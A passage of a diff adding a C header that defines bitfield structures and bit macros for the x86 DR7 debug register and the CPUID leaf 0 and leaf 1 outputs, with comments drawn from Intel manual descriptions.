DR7_GLOBAL_BREAKPOINT_1_FLAG 0x08 +#define DR7_GLOBAL_BREAKPOINT_1_MASK 0x01 +#define DR7_GLOBAL_BREAKPOINT_1(_) (((_) >> 3) & 0x01) + uint64_t local_breakpoint_2 : 1; +#define DR7_LOCAL_BREAKPOINT_2_BIT 4 +#define DR7_LOCAL_BREAKPOINT_2_FLAG 0x10 +#define DR7_LOCAL_BREAKPOINT_2_MASK 0x01 +#define DR7_LOCAL_BREAKPOINT_2(_) (((_) >> 4) & 0x01) + uint64_t global_breakpoint_2 : 1; +#define DR7_GLOBAL_BREAKPOINT_2_BIT 5 +#define DR7_GLOBAL_BREAKPOINT_2_FLAG 0x20 +#define DR7_GLOBAL_BREAKPOINT_2_MASK 0x01 +#define DR7_GLOBAL_BREAKPOINT_2(_) (((_) >> 5) & 0x01) + uint64_t local_breakpoint_3 : 1; +#define DR7_LOCAL_BREAKPOINT_3_BIT 6 +#define DR7_LOCAL_BREAKPOINT_3_FLAG 0x40 +#define DR7_LOCAL_BREAKPOINT_3_MASK 0x01 +#define DR7_LOCAL_BREAKPOINT_3(_) (((_) >> 6) & 0x01) + uint64_t global_breakpoint_3 : 1; +#define DR7_GLOBAL_BREAKPOINT_3_BIT 7 +#define DR7_GLOBAL_BREAKPOINT_3_FLAG 0x80 +#define DR7_GLOBAL_BREAKPOINT_3_MASK 0x01 +#define DR7_GLOBAL_BREAKPOINT_3(_) (((_) >> 7) & 0x01) + + /** + * @brief LE (local exact breakpoint enable) + * + * [Bit 8] This feature is not supported in the P6 family processors, later IA-32 processors, and Intel 64 processors. When + * set, these flags cause the processor to detect the exact instruction that caused a data breakpoint condition. For + * backward and forward compatibility with other Intel processors, we recommend that the LE and GE flags be set to 1 if + * exact breakpoints are required. + */ + uint64_t local_exact_breakpoint : 1; +#define DR7_LOCAL_EXACT_BREAKPOINT_BIT 8 +#define DR7_LOCAL_EXACT_BREAKPOINT_FLAG 0x100 +#define DR7_LOCAL_EXACT_BREAKPOINT_MASK 0x01 +#define DR7_LOCAL_EXACT_BREAKPOINT(_) (((_) >> 8) & 0x01) + uint64_t global_exact_breakpoint : 1; +#define DR7_GLOBAL_EXACT_BREAKPOINT_BIT 9 +#define DR7_GLOBAL_EXACT_BREAKPOINT_FLAG 0x200 +#define DR7_GLOBAL_EXACT_BREAKPOINT_MASK 0x01 +#define DR7_GLOBAL_EXACT_BREAKPOINT(_) (((_) >> 9) & 0x01) + uint64_t reserved1 : 1; + + /** + * @brief RTM (restricted transactional memory) flag + * + * [Bit 11] Enables (when set) advanced debugging of RTM transactional regions. This advanced debugging is enabled only if + * IA32_DEBUGCTL.RTM is also set. + * + * @see Vol3B[17.3.3(Debug Exceptions, Breakpoint Exceptions, and Restricted Transactional Memory (RTM))] + */ + uint64_t restricted_transactional_memory : 1; +#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY_BIT 11 +#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY_FLAG 0x800 +#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY_MASK 0x01 +#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY(_) (((_) >> 11) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief GD (general detect enable) flag + * + * [Bit 13] Enables (when set) debug-register protection, which causes a debug exception to be generated prior to any MOV + * instruction that accesses a debug register. When such a condition is detected, the BD flag in debug status register DR6 + * is set prior to generating the exception. This condition is provided to support in-circuit emulators. + * When the emulator needs to access the debug registers, emulator software can set the GD flag to prevent interference + * from the program currently executing on the processor. + * The processor clears the GD flag upon entering to the debug exception handler, to allow the handler access to the debug + * registers. + */ + uint64_t general_detect : 1; +#define DR7_GENERAL_DETECT_BIT 13 +#define DR7_GENERAL_DETECT_FLAG 0x2000 +#define DR7_GENERAL_DETECT_MASK 0x01 +#define DR7_GENERAL_DETECT(_) (((_) >> 13) & 0x01) + uint64_t reserved3 : 2; + + /** + * @brief R/W0 through R/W3 (read/write) fields (bits 16, 17, 20, 21, 24, 25, 28, and 29) + * + * [Bits 17:16] Specifies the breakpoint condition for the corresponding breakpoint. The DE (debug extensions) flag in + * control register CR4 determines how the bits in the R/Wn fields are interpreted. When the DE flag is set, the processor + * interprets bits as follows: + * - 00 - Break on instruction execution only. + * - 01 - Break on data writes only. + * - 10 - Break on I/O reads or writes. + * - 11 - Break on data reads or writes but not instruction fetches. + * When the DE flag is clear, the processor interprets the R/Wn bits the same as for the Intel386(TM) and Intel486(TM) + * processors, which is as follows: + * - 00 - Break on instruction execution only. + * - 01 - Break on data writes only. + * - 10 - Undefined. + * - 11 - Break on data reads or writes but not instruction fetches. + */ + uint64_t read_write_0 : 2; +#define DR7_READ_WRITE_0_BIT 16 +#define DR7_READ_WRITE_0_FLAG 0x30000 +#define DR7_READ_WRITE_0_MASK 0x03 +#define DR7_READ_WRITE_0(_) (((_) >> 16) & 0x03) + + /** + * @brief LEN0 through LEN3 (Length) fields (bits 18, 19, 22, 23, 26, 27, 30, and 31) + * + * [Bits 19:18] Specify the size of the memory location at the address specified in the corresponding breakpoint address + * register (DR0 through DR3). These fields are interpreted as follows: + * - 00 - 1-byte length. + * - 01 - 2-byte length. + * - 10 - Undefined (or 8 byte length, see note below). + * - 11 - 4-byte length. + * If the corresponding RWn field in register DR7 is 00 (instruction execution), then the LENn field should also be 00. The + * effect of using other lengths is undefined. + * + * @see Vol3B[17.2.5(Breakpoint Field Recognition)] + */ + uint64_t length_0 : 2; +#define DR7_LENGTH_0_BIT 18 +#define DR7_LENGTH_0_FLAG 0xC0000 +#define DR7_LENGTH_0_MASK 0x03 +#define DR7_LENGTH_0(_) (((_) >> 18) & 0x03) + uint64_t read_write_1 : 2; +#define DR7_READ_WRITE_1_BIT 20 +#define DR7_READ_WRITE_1_FLAG 0x300000 +#define DR7_READ_WRITE_1_MASK 0x03 +#define DR7_READ_WRITE_1(_) (((_) >> 20) & 0x03) + uint64_t length_1 : 2; +#define DR7_LENGTH_1_BIT 22 +#define DR7_LENGTH_1_FLAG 0xC00000 +#define DR7_LENGTH_1_MASK 0x03 +#define DR7_LENGTH_1(_) (((_) >> 22) & 0x03) + uint64_t read_write_2 : 2; +#define DR7_READ_WRITE_2_BIT 24 +#define DR7_READ_WRITE_2_FLAG 0x3000000 +#define DR7_READ_WRITE_2_MASK 0x03 +#define DR7_READ_WRITE_2(_) (((_) >> 24) & 0x03) + uint64_t length_2 : 2; +#define DR7_LENGTH_2_BIT 26 +#define DR7_LENGTH_2_FLAG 0xC000000 +#define DR7_LENGTH_2_MASK 0x03 +#define DR7_LENGTH_2(_) (((_) >> 26) & 0x03) + uint64_t read_write_3 : 2; +#define DR7_READ_WRITE_3_BIT 28 +#define DR7_READ_WRITE_3_FLAG 0x30000000 +#define DR7_READ_WRITE_3_MASK 0x03 +#define DR7_READ_WRITE_3(_) (((_) >> 28) & 0x03) + uint64_t length_3 : 2; +#define DR7_LENGTH_3_BIT 30 +#define DR7_LENGTH_3_FLAG 0xC0000000 +#define DR7_LENGTH_3_MASK 0x03 +#define DR7_LENGTH_3(_) (((_) >> 30) & 0x03) + uint64_t reserved4 : 32; + }; + + uint64_t flags; +} dr7; + +/** + * @} + */ + + /** + * @defgroup cpuid \ + * CPUID + * + * @see Vol2A[3.2(CPUID)] (reference) + * @{ + */ + /** + * @brief Returns CPUID's Highest Value for Basic Processor Information and the Vendor Identification String + * + * When CPUID executes with EAX set to 0, the processor returns the highest value the CPUID recognizes for returning basic + * processor information. The value is returned in the EAX register and is processor specific. + * A vendor identification string is also returned in EBX, EDX, and ECX. For Intel processors, the string is "GenuineIntel" + * and is expressed: + * - EBX <- 756e6547h (* "Genu", with G in the low eight bits of BL *) + * - EDX <- 49656e69h (* "ineI", with i in the low eight bits of DL *) + * - ECX <- 6c65746eh (* "ntel", with n in the low eight bits of CL *) + */ +#define CPUID_SIGNATURE 0x00000000 +typedef struct +{ + /** + * @brief EAX + * + * Maximum Input Value for Basic CPUID Information. + */ + uint32_t max_cpuid_input_value; + + /** + * @brief EBX + * + * "Genu" + */ + uint32_t ebx_value_genu; + + /** + * @brief ECX + * + * "ntel" + */ + uint32_t ecx_value_ntel; + + /** + * @brief EDX + * + * "ineI" + */ + uint32_t edx_value_inei; +} cpuid_eax_00; + + +/** + * @brief Returns Model, Family, Stepping Information, Additional Information and Feature Information + * + * Returns: + * * Model, Family, Stepping Information in EAX + * * Additional Information in EBX + * * Feature Information in ECX and EDX + */ +#define CPUID_VERSION_INFORMATION 0x00000001 +typedef struct +{ + /** + * @brief When CPUID executes with EAX set to 01H, version information is returned in EAX + */ + union + { + struct + { + uint32_t stepping_id : 4; +#define CPUID_VERSION_INFORMATION_STEPPING_ID_BIT 0 +#define CPUID_VERSION_INFORMATION_STEPPING_ID_FLAG 0x0F +#define CPUID_VERSION_INFORMATION_STEPPING_ID_MASK 0x0F +#define CPUID_VERSION_INFORMATION_STEPPING_ID(_) (((_) >> 0) & 0x0F) + uint32_t model : 4; +#define CPUID_VERSION_INFORMATION_MODEL_BIT 4 +#define CPUID_VERSION_INFORMATION_MODEL_FLAG 0xF0 +#define CPUID_VERSION_INFORMATION_MODEL_MASK 0x0F +#define CPUID_VERSION_INFORMATION_MODEL(_) (((_) >> 4) & 0x0F) + uint32_t family_id : 4; +#define CPUID_VERSION_INFORMATION_FAMILY_ID_BIT 8 +#define CPUID_VERSION_INFORMATION_FAMILY_ID_FLAG 0xF00 +#define CPUID_VERSION_INFORMATION_FAMILY_ID_MASK 0x0F +#define CPUID_VERSION_INFORMATION_FAMILY_ID(_) (((_) >> 8) & 0x0F) + + /** + * [Bits 13:12] - 0 - Original OEM Processor + * - 1 - Intel OverDrive(R) Processor + * - 2 - Dual processor (not applicable to Intel486 processors) + * - 3 - Intel reserved + */ + uint32_t processor_type : 2; +#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE_BIT 12 +#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE_FLAG 0x3000 +#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE_MASK 0x03 +#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE(_) (((_) >> 12) & 0x03) + uint32_t reserved1 : 2; + + /** + * [Bits 19:16] The Extended Model ID needs to be examined only when the Family ID is 06H or 0FH. + */ + uint32_t extended_model_id : 4; +#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID_BIT 16 +#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID_FLAG 0xF0000 +#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID_MASK 0x0F +#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID(_) (((_) >> 16) & 0x0F) + + /** + * [Bits 27:20] The Extended Family ID needs to be examined only when the Family ID is 0FH. + */ + uint32_t extended_family_id : 8; +#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID_BIT 20 +#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID_FLAG 0xFF00000 +#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID_MASK 0xFF +#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID(_) (((_) >> 20) & 0xFF) + uint32_t reserved2 : 4; + }; + + uint32_t flags; + } cpuid_version_information; + + /** + * @brief When CPUID executes with EAX set to 01H, additional information is returned to the EBX register + */ + union + { + struct + { + /** + * [Bits 7:0] This number provides an entry into a brand string table that contains brand strings for IA-32 processors. + * More information about this field is provided later in this section. + */ + uint32_t brand_index : 8; +#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX_BIT 0 +#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX_FLAG 0xFF +#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX_MASK 0xFF +#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX(_) (((_) >> 0) & 0xFF) + + /** + * @brief Value * 8 = cache line size in bytes; used also by CLFLUSHOPT + * + * [Bits 15:8] This number indicates the size of the cache line flushed by the CLFLUSH and CLFLUSHOPT instructions in + * 8-byte increments. This field was introduced in the Pentium 4 processor. + */ + uint32_t clflush_line_size : 8; +#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE_BIT 8 +#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE_FLAG 0xFF00 +#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE_MASK 0xFF +#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE(_) (((_) >> 8) & 0xFF) + + /** + * [Bits 23:16] Maximum number of addressable IDs for logical processors in this physical package. + * + * @remarks The nearest power-of-2 integer that is not smaller than EBX[23:16] is the number of unique initial APIC IDs + * reserved for addressing different logical processors in a physical package. This field is only valid if + * CPUID.1.EDX.HTT[bit 28] = 1. + */ + uint32_t max_addressable_ids : 8; +#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS_BIT 16 +#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS_FLAG 0xFF0000 +#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS_MASK 0xFF +#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS(_) (((_) >> 16) & 0xFF) + + /** + * [Bits 31:24] This number is the 8-bit ID that is assigned to the local APIC on the processor during power up. This field + * was introduced in the Pentium 4 processor. + */ + uint32_t initial_apic_id : 8; +#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID_BIT 24 +#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID_FLAG 0xFF000000 +#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID_MASK 0xFF +#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID(_) (((_) >> 24) & 0xFF) + }; + + uint32_t flags; + } cpuid_additional_information; + + /** + * @brief When CPUID executes with EAX set to 01H, feature information is returned in ECX and EDX + */ + union + { + struct + { + /** + * @brief Streaming SIMD Extensions 3 (SSE3) + * + * [Bit 0] A value of 1 indicates the processor supports this technology. + */ + uint32_t streaming_simd_extensions_3 : 1; +#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3_BIT 0 +#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3_FLAG 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_STREAMING_SIMD_EXTENSIONS_3(_) (((_) >> 0) & 0x01) + + /** + * @brief PCLMULQDQ instruction + * + * [Bit 1] A value of 1 indicates the processor supports the PCLMULQDQ instruction. + */ + uint32_t pclmulqdq_instruction : 1; +#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION_BIT 1 +#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION_FLAG 0x02 +#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_PCLMULQDQ_INSTRUCTION(_) (((_) >> 1) & 0x01) + + /** + * @brief 64-bit DS Area + * + * [Bit 2] A value of 1 indicates the processor supports DS area using 64-bit layout. + */ + uint32_t ds_area_64bit_layout : 1; +#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT_BIT 2 +#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT_FLAG 0x04 +#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_DS_AREA_64BIT_LAYOUT(_) (((_) >> 2) & 0x01) + + /** + * @brief MONITOR/MWAIT instruction + * + * [Bit 3] A value of 1 indicates the processor supports this feature. + */ + uint32_t monitor_mwait_instruction : 1; +#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION_BIT 3 +#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION_FLAG 0x08 +#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_MONITOR_MWAIT_INSTRUCTION(_) (((_) >> 3) & 0x01) + + /** + * @brief CPL Qualified Debug Store + * + * [Bit 4] A value of 1 indicates the processor supports the extensions to the Debug Store feature to allow for branch + * message storage qualified by CPL. + */ + uint32_t cpl_qualified_debug_store : 1; +#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE_BIT 4 +#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE_FLAG 0x10 +#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_CPL_QUALIFIED_DEBUG_STORE(_) (((_) >> 4) & 0x01) + + /** + * @brief Virtual Machine Extensions + * + * [Bit 5] A value of 1 indicates that the processor supports this technology. + */ + uint32_t virtual_machine_extensions : 1; +#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS_BIT 5 +#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS_FLAG 0x20 +#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_VIRTUAL_MACHINE_EXTENSIONS(_) (((_) >> 5) & 0x01) + + /** + * @brief Safer Mode Extensions + * + * [Bit 6] A value of 1 indicates that the processor supports this technology. + * + * @see Vol2[6(SAFER MODE EXTENSIONS REFERENCE)] + */ + uint32_t safer_mode_extensions : 1; +#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS_BIT 6 +#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS_FLAG 0x40 +#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_SAFER_MODE_EXTENSIONS(_) (((_) >> 6) & 0x01) + + /** + * @brief Enhanced Intel SpeedStep(R) technology + * + * [Bit 7] A value of 1 indicates that the processor supports this technology. + */ + uint32_t enhanced_intel_speedstep_technology : 1; +#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_BIT 7 +#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_FLAG 0x80 +#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_ENHANCED_INTEL_SPEEDSTEP_TECHNOLOGY(_) (((_) >> 7) & 0x01) + + /** + * @brief Thermal Monitor 2 + * + * [Bit 8] A value of 1 indicates whether the processor supports this technology. + */ + uint32_t thermal_monitor_2 : 1; +#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2_BIT 8 +#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2_FLAG 0x100 +#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_THERMAL_MONITOR_2(_) (((_) >> 8) & 0x01) + + /** + * @brief Supplemental Streaming SIMD Extensions 3 (SSSE3) + * + * [Bit 9] A value of 1 indicates the presence of the Supplemental Streaming SIMD Extensions 3 (SSSE3). A value of 0 + * indicates the instruction extensions are not present in the processor. + */ + uint32_t supplemental_streaming_simd_extensions_3 : 1; +#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3_BIT 9 +#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3_FLAG 0x200 +#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_SUPPLEMENTAL_STREAMING_SIMD_EXTENSIONS_3(_) (((_) >> 9) & 0x01) + + /** + * @brief L1 Context ID + * + * [Bit 10] A value of 1 indicates the L1 data cache mode can be set to either adaptive mode or shared mode. A value of 0 + * indicates this feature is not supported. See definition of the IA32_MISC_ENABLE MSR Bit 24 (L1 Data Cache Context Mode) + * for details. + */ + uint32_t l1_context_id : 1; +#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID_BIT 10 +#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID_FLAG 0x400 +#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_L1_CONTEXT_ID(_) (((_) >> 10) & 0x01) + + /** + * @brief IA32_DEBUG_INTERFACE MSR for silicon debug + * + * [Bit 11] A value of 1 indicates the processor supports IA32_DEBUG_INTERFACE MSR for silicon debug. + */ + uint32_t silicon_debug : 1; +#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG_BIT 11 +#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG_FLAG 0x800 +#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_SILICON_DEBUG(_) (((_) >> 11) & 0x01) + + /** + * @brief FMA extensions using YMM state + * + * [Bit 12] A value of 1 indicates the processor supports FMA (Fused Multiple Add) extensions using YMM state. + */ + uint32_t fma_extensions : 1; +#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS_BIT 12 +#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS_FLAG 0x1000 +#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_FMA_EXTENSIONS(_) (((_) >> 12) & 0x01) + + /** + * @brief CMPXCHG16B instruction + * + * [Bit 13] A value of 1 indicates that the feature is available. + */ + uint32_t cmpxchg16b_instruction : 1; +#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION_BIT 13 +#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION_FLAG 0x2000 +#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_CMPXCHG16B_INSTRUCTION(_) (((_) >> 13) & 0x01) + + /** + * @brief xTPR Update Control + * + * [Bit 14] A value of 1 indicates that the processor supports changing IA32_MISC_ENABLE[bit 23]. + */ + uint32_t xtpr_update_control : 1; +#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL_BIT 14 +#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL_FLAG 0x4000 +#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_XTPR_UPDATE_CONTROL(_) (((_) >> 14) & 0x01) + + /** + * @brief Perfmon and Debug Capability + * + * [Bit 15] A value of 1 indicates the processor supports the performance and debug feature indication MSR + * IA32_PERF_CAPABILITIES. + */ + uint32_t perfmon_and_debug_capability : 1; +#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY_BIT 15 +#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY_FLAG 0x8000 +#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_PERFMON_AND_DEBUG_CAPABILITY(_) (((_) >> 15) & 0x01) + uint32_t reserved1 : 1; + + /** + * @brief Process-context identifiers + * + * [Bit 17] A value of 1 indicates that the processor supports PCIDs and that software may set CR4.PCIDE to 1. + */ + uint32_t process_context_identifiers : 1; +#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS_BIT 17 +#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS_FLAG 0x20000 +#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_PROCESS_CONTEXT_IDENTIFIERS(_) (((_) >> 17) & 0x01) + + /** + * @brief Direct Cache Access + * + * [Bit 18] A value of 1 indicates the processor supports the ability to prefetch data from a memory mapped device (Direct + * Cache Access). + */ + uint32_t direct_cache_access : 1; +#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS_BIT 18 +#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS_FLAG 0x40000 +#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_DIRECT_CACHE_ACCESS(_) (((_) >> 18) & 0x01) + + /** + * @brief SSE4.1 support + * + * [Bit 19] A value of 1 indicates that the processor supports SSE4.1. + */ + uint32_t sse41_support : 1; +#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT_BIT 19 +#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT_FLAG 0x80000 +#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_SSE41_SUPPORT(_) (((_) >> 19) & 0x01) + + /** + * @brief SSE4.2 support + * + * [Bit 20] A value of 1 indicates that the processor supports SSE4.2. + */ + uint32_t sse42_support : 1; +#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT_BIT 20 +#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT_FLAG 0x100000 +#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_SSE42_SUPPORT(_) (((_) >> 20) & 0x01) + + /** + * @brief x2APIC support + * + * [Bit 21] A value of 1 indicates that the processor supports x2APIC feature. + */ + uint32_t x2apic_support : 1; +#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT_BIT 21 +#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT_FLAG 0x200000 +#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_X2APIC_SUPPORT(_) (((_) >> 21) & 0x01) + + /** + * @brief MOVBE instruction + * + * [Bit 22] A value of 1 indicates that the processor supports MOVBE instruction. + */ + uint32_t movbe_instruction : 1; +#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION_BIT 22 +#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION_FLAG 0x400000 +#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_MOVBE_INSTRUCTION(_) (((_) >> 22) & 0x01) + + /** + * @brief POPCNT instruction + * + * [Bit 23] A value of 1 indicates that the processor supports the POPCNT instruction. + */ + uint32_t popcnt_instruction : 1; +#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION_BIT 23 +#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION_FLAG 0x800000 +#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_POPCNT_INSTRUCTION(_) (((_) >> 23) & 0x01) + + /** + * @brief TSC Deadline + * + * [Bit 24] A value of 1 indicates that the processor's local APIC timer supports one-shot operation using a TSC deadline + * value. + */ + uint32_t tsc_deadline : 1; +#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE_BIT 24 +#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE_FLAG 0x1000000 +#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_TSC_DEADLINE(_) (((_) >> 24) & 0x01) + + /** + * @brief AESNI instruction extensions + * + * [Bit 25] A value of 1 indicates that the processor supports the AESNI instruction extensions. + */ + uint32_t aesni_instruction_extensions : 1; +#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS_BIT 25 +#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS_FLAG 0x2000000 +#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_AESNI_INSTRUCTION_EXTENSIONS(_) (((_) >> 25) & 0x01) + + /** + * @brief XSAVE/XRSTOR instruction extensions + * + * [Bit 26] A value of 1 indicates that the processor supports the XSAVE/XRSTOR processor extended states feature, the + * XSETBV/XGETBV instructions, and XCR0. + */ + uint32_t xsave_xrstor_instruction : 1; +#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION_BIT 26 +#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION_FLAG 0x4000000 +#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION_MASK 0x01 +#define CPUID_FEATURE_INFORMATION_ECX_XSAVE_XRSTOR_INSTRUCTION(_) (((_) >> 26) & 0x01) + + /** + * @brief CR4.OSXSAVE[bit 